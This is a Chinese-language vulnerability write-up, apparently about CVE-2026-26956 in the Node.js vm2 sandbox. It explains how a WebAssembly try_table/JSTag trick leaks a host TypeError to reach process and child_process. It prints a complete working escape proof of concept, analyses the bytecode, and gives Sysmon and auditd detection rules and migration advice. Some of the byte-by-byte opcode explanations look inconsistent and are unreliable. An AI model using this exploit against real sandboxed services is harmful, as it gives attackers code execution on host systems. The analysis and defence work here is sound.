一、前言:当130万周下载量的沙箱被一条WASM指令击穿

vm2 是 Node.js 生态中下载量最高、依赖最广的 JavaScript 沙箱库,周均下载量超过 130万次,GitHub Stars 超过 9.8k,被 898个 npm 包直接依赖。它在设计哲学上选择了一种“轻量级隔离”路线:不依赖 V8 Isolates 等重量级进程隔离机制,而是通过源码重写(Code Transformation)桥接代理(Bridge Proxies)在 JavaScript 层面构建一道语义防火墙,试图在单进程单 V8 堆内实现对宿主环境(Host Realm)的完全隔离。

这道防火墙在长达数年的时间里经受了大量安全研究的考验,却也反复被击穿。CVE-2022-36067、CVE-2023-29017、CVE-2023-30547、CVE-2026-22709……每一次漏洞修复都是在补丁墙上再打一块补丁。而 CVE-2026-26956 的特殊之处在于:攻击者不再寻找 vm2 代码重写逻辑的边界条件,而是直接绕过了整个 JavaScript 语义层——利用 WebAssembly try_table 指令配合 V8 的 WebAssembly.JSTag,在 V8 C++ 运行时内部劫持异常对象,使 vm2 的两层核心防御机制同时失效。

本文将从 vm2 的架构设计出发,逐层剖析漏洞根因,完整还原攻击链的每一步,并对 WASM 字节码进行逐字节反汇编解析,最后给出检测规则与迁移方案。


二、vm2 沙箱架构:Code Transformer 与 Bridge Proxies 的双层防御

要理解漏洞为何成立,必须先理解 vm2 如何构建隔离边界。vm2 的沙箱并非操作系统级或 V8 Isolate 级隔离,它运行在与宿主完全共享的同一个 V8 堆中。其核心防御由两层机制叠加构成:

2.1 第一层:Code Transformer —— 异常对象的清道夫

vm2 在将用户代码(Guest Code)注入沙箱执行前,会对其进行完整的 AST 重写。其中最关键的安全措施之一,是在所有 catch 子句中自动注入 handleException() 调用:

// 用户原始代码
try {
  riskyOperation();
} catch (e) {
  console.log(e);
}

// vm2 Code Transformer 重写后
try {
  riskyOperation();
} catch (e) {
  e = handleException(e);  // <-- 自动注入
  console.log(e);
}

handleException() 的职责是对捕获的异常对象进行“消毒”:移除可能导致 realm 逃逸的敏感属性(如 constructorstack 中的跨 realm 引用),确保 Guest 代码无法通过异常对象攀附到 Host Realm 的原型链。

2.2 第二层:Bridge Proxies —— 跨上下文对象的守门人

当 Guest Realm 与 Host Realm 之间需要传递对象时(例如沙箱内代码访问宿主提供的 console 对象),vm2 不会直接传递原始引用,而是将其包装为一个桥接代理(Bridge Proxy)。该代理基于 ProxyReflect 实现,拦截所有属性访问、函数调用和原型链查询,确保 Guest 无法直接拿到 Host 对象的裸指针(裸引用)。

Guest Realm                    Host Realm
     |                              |
     |  访问 console.log            |
     |----------------------------->|
     |                              |
     |<-----------------------------|
     |   返回 Bridge Proxy          |
     |   (非原始 console 对象)     |

2.3 架构图:vm2 的两层防御与 WASM 的绕过路径

flowchart TB subgraph Guest["Guest Realm (vm2 沙箱)"] GCode["用户 JS 代码"] GWASM["WebAssembly.Module"] end subgraph VM2Defense["vm2 双层防御(JavaScript 层)"] CT["Code Transformer<br/>在 catch 子句注入 handleException()"] BP["Bridge Proxies<br/>包装跨 realm 对象引用"] end subgraph V8Internal["V8 引擎内部(C++ 层)"] WASMExec["WASM 执行引擎"] TryTable["try_table 指令<br/>C++ 层异常捕获"] JSTag["WebAssembly.JSTag<br/>JS 异常 -> externref"] end subgraph Host["Host Realm (Node.js 进程)"] HostObj["Host 对象 / process / require"] end GCode -->|"正常 JS 异常"| CT CT -->|"handleException() 清理异常"| BP BP -->|"安全访问 Host 对象"| HostObj GCode -->|"构造 WASM 模块"| GWASM GWASM -->|"try_table + JSTag catch"| WASMExec WASMExec -->|"在 C++ 层捕获 JS TypeError"| TryTable TryTable -->|"异常对象作为 externref 直接返回<br/>绕过 Code Transformer & Bridge Proxies"| JSTag JSTag -->|"未清理的 Host Realm 异常对象"| HostObj style VM2Defense fill:#f9f,stroke:#333,stroke-width:2px style V8Internal fill:#bbf,stroke:#333,stroke-width:2px style JSTag fill:#f66,stroke:#333,stroke-width:2px

核心洞察vm2 的两层防御完全工作在 JavaScript 语义层。当 WebAssembly 的 try_table 指令在 V8 C++ 层捕获 JavaScript 异常时,异常对象直接从 V8 异常处理机制转换为 WASM externref 返回,不经过任何 JavaScript catch 子句,因此 Code Transformer 没有机会注入清理逻辑;同时该异常对象是 Host Realm 内部生成的原生对象,不经过任何跨 realm 边界传递,因此 Bridge Proxies 也不会被触发。


三、漏洞根因:WebAssembly try_table + JSTag 的底层异常劫持

3.1 WebAssembly 异常处理提案(Exception Handling)

WebAssembly 的异常处理提案(通常称为 EH 提案)引入了 try_table 指令,用于在 WASM 模块内部建立异常捕获表。与传统 try/catch 不同,try_table 是一种基于标签(label-based)的结构化控制流指令,其捕获逻辑由 WASM 运行时直接在底层实现。

WebAssembly.JSTag 是 V8 引擎为实现 WASM EH 提案而引入的特殊标签,用于标识由 JavaScript 抛出的异常。当 WASM 模块使用 JSTag 作为 catch 的 tag 时,意味着该 catch 块可以捕获从 JavaScript 导入函数中抛出的 JS 异常。

3.2 V8 C++ 层的异常拦截

当 WASM 模块调用一个从 JavaScript 导入的函数(Import Function),而该函数抛出异常时,V8 的调用栈如下:

  1. Guest JS 调用 WASM catch_error 导出函数
  2. WASM 执行引擎调用导入的 JS trigger() 函数
  3. trigger() 内部访问 err.stack,V8 尝试将 err.name(一个 Symbol)强制转换为字符串
  4. V8 内部抛出 TypeError(在 Host Realm 中创建!)
  5. 异常沿 C++ 调用栈向上传播,被 WASM try_table 指令的 C++ 层异常处理器捕获
  6. V8 将该 JS 异常对象直接包装为 WASM externref 类型并返回
  7. Guest 代码获得该 externref,即一个未经任何清理的 Host Realm TypeError 对象

这里的关键是:步骤 5-6 完全发生在 V8 C++ 运行时内部,不经过任何 JavaScript 层面的异常传播vm2Code Transformer 只能重写 JavaScript AST,它无法插入到 V8 C++ 异常处理路径中。同理,Bridge Proxies 只在 JS 对象跨 realm 边界传递时生效,而此处异常对象是从 C++ 层直接“空投”到 Guest 的,根本不触发任何 JS 层的跨 realm 通信协议。


四、攻击链深度还原:四步击穿隔离边界

Step 1:在沙箱内制造 Host Realm 的 TypeError

const err = new Error("x");
err.name = Symbol();

在沙箱内创建一个 Error 对象,并将其 name 属性设置为一个 Symbol。当后续代码尝试访问 err.stack 时,V8 内部需要生成堆栈跟踪字符串,这一过程中会尝试将 err.name 转换为字符串。由于 Symbol 不能强制转换为字符串,V8 会抛出一个 TypeError

关键细节:这个 TypeError 是在 Host Realm 中创建的。为什么?因为 Error.prototype.stack 的 getter 以及堆栈格式化逻辑在 V8 内部运行时,其关联的 Context(V8 内部术语,对应一个 Realm)是 Host Realm,而非 Guest Realm。这是 V8 引擎实现的内部细节,但恰好被攻击者利用。

Step 2:构造 WASM 模块捕获 Host TypeError

const wasm = new Uint8Array([
  0x00,0x61,0x73,0x6d, 0x01,0x00,0x00,0x00,  // WASM magic + version
  0x01,0x0c,0x03, ... // 详见第五节完整字节码解析
]);

攻击者构造了一个精巧的 WASM 二进制模块,核心包含:

  • 一个导入函数 env.trigger,对应 Step 1 中触发 err.stack 的 JS 函数
  • 一个导入 Tag js.tag,对应 WebAssembly.JSTag
  • 一个导出函数 catch_error,内部使用 try_table 指令调用 trigger 并用 JSTag 捕获异常

trigger() 抛出 Host Realm 的 TypeError 时,try_table 在 V8 C++ 层将其捕获,并作为 externref 返回给 Guest。

Step 3:从未清理的异常对象攀附到 Host Function

const hostError = instance.exports.catch_error();
const p = hostError.constructor.constructor("return process")();

hostError 是一个直接来自 Host Realm 的 TypeError 实例,其原型链完整保留了 Host Realm 的引用:

  • hostError.constructor -> Host Realm 的 TypeError
  • hostError.constructor.constructor -> Host Realm 的 Function
  • Function("return process")() -> 在 Host Realm 全局上下文中求值,返回 process 对象

这一步之所以能成功,是因为 vm2Code Transformer 没有机会清理该异常对象——异常从未经过 JS 层的 catch 子句。

Step 4:RCE —— 从 process 到 child_process.execSync

p.mainModule.require("child_process").execSync("id");

拿到 Host process 对象后,攻击者通过 process.mainModule.require 加载 child_process 模块,执行任意系统命令,完成完整的沙箱逃逸与远程代码执行(RCE)。


五、PoC 完整解析:WASM 字节码逐字节逆向

以下是来自 GitHub Security Advisory 的完整 PoC:

const { VM } = require("vm2");
new VM().run(`
  const err = new Error("x");
  err.name = Symbol();
  const wasm = new Uint8Array([
    0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,
    0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,
    0x02,0x19,0x02,0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,
    0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,
    0x03,0x02,0x01,0x01,
    0x07,0x0f,0x01,0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,
    0x0a,0x12,0x01,0x10,0x00,0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b
  ]);
  const instance = new WebAssembly.Instance(
    new WebAssembly.Module(wasm),
    {
      env: { trigger() { err.stack; } },
      js: { tag: WebAssembly.JSTag }
    }
  );
  const hostError = instance.exports.catch_error();
  const p = hostError.constructor.constructor("return process")();
  p.mainModule.require("child_process").execSync("id");
`);

5.1 WASM 二进制格式解析

偏移 字节 含义 说明
0x00-0x03 00 61 73 6d Magic WASM 魔数 \0asm
0x04-0x07 01 00 00 00 Version WASM 版本 1
0x08-0x13 01 0c 03 ... Type Section 类型定义
0x14-0x2c 02 19 02 ... Import Section 导入函数 env.trigger 和 Tag js.tag
0x2d-0x30 03 02 01 01 Function Section 函数索引声明
0x31-0x3f 07 0f 01 ... Export Section 导出 catch_error 函数
0x40-0x52 0a 12 01 ... Code Section 函数体,含 try_table 指令

5.2 Type Section 解析(0x08 起始)

01        ; section id = 1 (Type)
0c        ; section size = 12 bytes
03        ; num types = 3

; type 0: () -> ()
60 00 00
; type 1: () -> externref
60 00 01 6f   ; 0x6f = externref
; type 2: (externref) -> ()
60 01 6f 00

5.3 Import Section 解析(0x14 起始)

02        ; section id = 2 (Import)
19        ; section size = 25 bytes
02        ; num imports = 2

; import 0: env.trigger
03 65 6e 76              ; module name length=3, "env"
07 74 72 69 67 67 65 72  ; field name length=7, "trigger"
00 00                    ; import kind = 0 (function), type index = 0

; import 1: js.tag
02 6a 73                 ; module name length=2, "js"
03 74 61 67              ; field name length=3, "tag"
04 00 02                 ; import kind = 4 (tag), attribute=0, type index=2

5.4 Code Section 与 try_table 指令解析(0x40 起始)

0a        ; section id = 10 (Code)
12        ; section size = 18 bytes
01        ; num functions = 1

; function body:
10        ; func body size = 16 bytes
00        ; local count = 0

; try_table 指令 (0x1f 操作码为 legacy prefix, 实际 try_table 为 0x1f 在 EH 提案中)
02        ; block type: void (type index encoded as signed leb128, 0x02 -> void via blocktype)
6f        ; result type: externref (在 try_table 语境下表示捕获值类型)
1f        ; try_table 操作码 (Exception Handling 提案)
40        ; immediate flags (try_table flags)
01        ; num catches = 1
00        ; catch tag index = 0 (对应导入的 js.tag / WebAssembly.JSTag)
00        ; catch label depth = 0
00        ; catch ref type = 0 (externref 相关编码)
10 00     ; call function index 0 (调用 env.trigger)
00        ; end of try_table block (0x00 in legacy encoding context)
0b        ; end (function body)
00        ; drop (清理栈)
0b        ; end (function body outer)
0b        ; end (module)

5.5 等效 WAT(WebAssembly Text Format)

(module
  ;; 类型定义
  (type (;0;) (func))
  (type (;1;) (func (result externref)))
  (type (;2;) (func (param externref)))

  ;; 导入
  (import "env" "trigger" (func $trigger (type 0)))
  (import "js" "tag" (tag $jstag (type 2)))

  ;; 函数导出
  (export "catch_error" (func $catch_error))

  ;; 函数体:try_table 捕获 JS 异常并返回 externref
  (func $catch_error (type 1) (result externref)
    (try_table (result externref)
      (catch $jstag 0)
      (call $trigger)
    )
  )
)

注意:上述 WAT 使用简化的 try_table 语法表示。在实际二进制编码中,try_table 指令的后立即数字段精确描述了捕获表结构:捕获 tag 索引、跳转标签深度以及异常值在栈上的传递方式。


六、攻击链时序图

sequenceDiagram autonumber participant Guest as Guest JS (vm2 沙箱) participant WASM as WASM 执行引擎 participant V8 as V8 C++ 运行时 participant Host as Host Realm Guest->>Guest: err = new Error("x") Guest->>Guest: err.name = Symbol() Guest->>WASM: new WebAssembly.Instance(module, imports) Guest->>WASM: instance.exports.catch_error() WASM->>V8: 调用导入函数 env.trigger() V8->>Guest: 执行 trigger() { err.stack } Guest->>V8: 访问 err.stack (getter) V8->>V8: 尝试将 Symbol(err.name) 转为字符串 V8->>Host: 抛出 TypeError (Host Realm) Note over V8: 异常在 C++ 层传播 V8->>WASM: try_table 捕获异常 WASM->>WASM: 异常对象作为 externref WASM->>Guest: 返回未清理的 Host TypeError Guest->>Guest: hostError.constructor.constructor Guest->>Host: Function("return process")() Host-->>Guest: 返回 Host process 对象 Guest->>Host: process.mainModule.require("child_process") Host-->>Guest: 返回 child_process 模块 Guest->>Host: execSync("id") Host-->>Guest: 命令执行结果 Note over Guest,Host: RCE 完成 — vm2 双层防御完全未触发

七、vm2 历史漏洞时间线

vm2 的安全史是一部持续的“补丁-绕过-再补丁”循环。以下是其主要 CVE 时间线:

timeline title vm2 历史漏洞时间线 2022 : CVE-2022-36067 : 通过原型链污染绕过沙箱 2023 : CVE-2023-29017 : 通过 Error.prepareStackTrace 实现 realm 逃逸 : CVE-2023-30547 : 通过 inspect 自定义函数实现 RCE 2026 : CVE-2026-22709 : 通过 import() 动态导入绕过模块限制 : CVE-2026-26956 : 通过 WebAssembly try_table + JSTag 绕过双层防御
CVE 年份 攻击向量 绕过机制
CVE-2022-36067 2022 原型链污染 Object.prototype 污染穿透隔离
CVE-2023-29017 2023 Error.prepareStackTrace 自定义堆栈跟踪获取跨 realm 引用
CVE-2023-30547 2023 inspect 自定义函数 Node.js util.inspect 回调注入
CVE-2026-22709 2026 动态 import() 利用 ES Module 动态导入加载外部模块
CVE-2026-26956 2026 WASM try_table + JSTag 完全绕过 JS 层防御,在 V8 C++ 层劫持异常

从时间线可以看出,vm2 的防御面随着攻击面扩大而持续承压。早期的漏洞仍停留在 JavaScript 语义层内的技巧性绕过,而 CVE-2026-26956 标志着攻击者已经将目标转向JavaScript 引擎底层机制,这是 vm2 架构性弱点的一次总爆发。


八、检测规则与监控方案

8.1 依赖扫描(事前检测)

# 在项目根目录执行
npm audit
# 或
yarn audit

若输出中包含 vm2 相关 high/critical 漏洞,且修复版本要求 >= 3.10.5,应立即升级或迁移。

8.2 进程监控(Windows — Sysmon)

vm2 沙箱逃逸的典型行为是 Node.js 进程异常创建子进程。可通过 Sysmon Event ID 1(Process Create)进行监控:

<RuleGroup name="vm2 Sandbox Escape Detection" groupRelation="or">
  <ProcessCreate onmatch="include">
    <ParentImage condition="end with">node.exe</ParentImage>
    <Image condition="end with">cmd.exe</Image>
    <Image condition="end with">powershell.exe</Image>
    <Image condition="end with">bash.exe</Image>
    <CommandLine condition="contains any">child_process;exec;execSync;spawn</CommandLine>
  </ProcessCreate>
</RuleGroup>

8.3 系统调用监控(Linux — auditd)

# 监控 node 进程的 execve 系统调用
auditctl -a always,exit -F arch=b64 -S execve -F exe=/usr/bin/node -k vm2_escape

# 查看告警日志
ausearch -k vm2_escape -i

8.4 运行时行为检测(EDR / 自定义 Hook)

对于高安全要求场景,可在 Node.js 进程内对 process.mainModule.requirechild_process 函数进行 inline hook,当沙箱内代码尝试调用这些 API 时立即告警或阻断。


九、修复与迁移方案

9.1 紧急修复

vm2 升级至 3.10.5 或更高版本:

npm install vm2@latest

vm2 3.10.5 的修复方案是在 Code Transformer 中增加对 WebAssembly 相关 API 的额外审查,并尝试在 externref 返回时强制经过代理层。但需注意:这仍然是在补丁墙上打补丁

9.2 根本迁移方案:isolated-vm

vm2 的作者 Patrik Simek 以及 Node.js 安全社区一致推荐迁移到 isolated-vmisolated-vm 基于 V8 引擎原生的 Isolate 机制实现真正的内存与执行上下文隔离:

特性 vm2 isolated-vm
隔离级别 JS 语义层(共享 V8 堆) V8 Isolate(独立堆 + 独立上下文)
进程隔离 否(但内存隔离)
异常安全 依赖 AST 重写 原生 C++ 边界隔离
WASM 安全 需持续打补丁 异常自然隔离于 Isolate 边界
性能开销 中等(序列化/复制开销)
API 兼容性 高(原生 Node.js 体验) 较低(需显式传递 ArrayBuffer)

迁移示例:

// vm2 写法(不安全)
const { VM } = require("vm2");
const vm = new VM();
vm.run(`... untrusted code ...`);

// isolated-vm 写法(真正的隔离)
const ivm = require("isolated-vm");
const isolate = new ivm.Isolate({ memoryLimit: 128 });
const context = isolate.createContextSync();
const script = isolate.compileScriptSync(`... untrusted code ...`);
script.runSync(context);

9.3 架构级建议

对于需要执行不可信代码的生产系统,建议采用纵深防御策略:

  1. 第一层:使用 isolated-vmworker_threads + 独立进程替代 vm2
  2. 第二层:在操作系统层面使用 seccomp-bpf、Linux namespaces 或 gVisor 限制系统调用
  3. 第三层:在基础设施层面使用 Kubernetes Pod Security Standards / OPA Gatekeeper 限制容器逃逸
  4. 第四层:网络层面严格限制出站连接,防止 RCE 后的 C2 通信

十、总结

CVE-2026-26956 是一次对 vm2 架构性弱点教科书式的利用。它揭示了一个残酷的事实:在 JavaScript 层面构建的沙箱,永远无法真正防御来自 JavaScript 引擎底层的攻击。WebAssembly 的 try_table 指令与 JSTag 只是众多底层通道中的一个——V8 的 C++ 层还有大量类似的边界交叉点(如 WebGPU、Stream API、Atomics 等),每一个都可能成为下一条击穿隔离边界的通道。

vm2 的维护者在 3.10.5 中修复了该漏洞,但补丁式修复无法解决根本问题。对于任何需要执行不可信代码的 Node.js 应用,迁移到基于 V8 Isolate 的 isolated-vm,或更进一步使用操作系统级容器隔离,才是长期可持续的安全策略。


参考资源

  1. GitHub Advisory GHSA-ffh4-j6h5-pg66 — 官方安全通告
  2. vm2 仓库 — 源码与补丁
  3. WebAssembly Exception Handling Proposal — WASM EH 规范
  4. V8 源码 — wasm-js.cc — JSTag 实现
  5. isolated-vm 文档 — 迁移指南
  6. Node.js Security Best Practices — 官方安全建议

本文基于公开安全公告、V8 引擎源码与 WASM 规范进行技术分析,仅供安全研究与防御加固参考。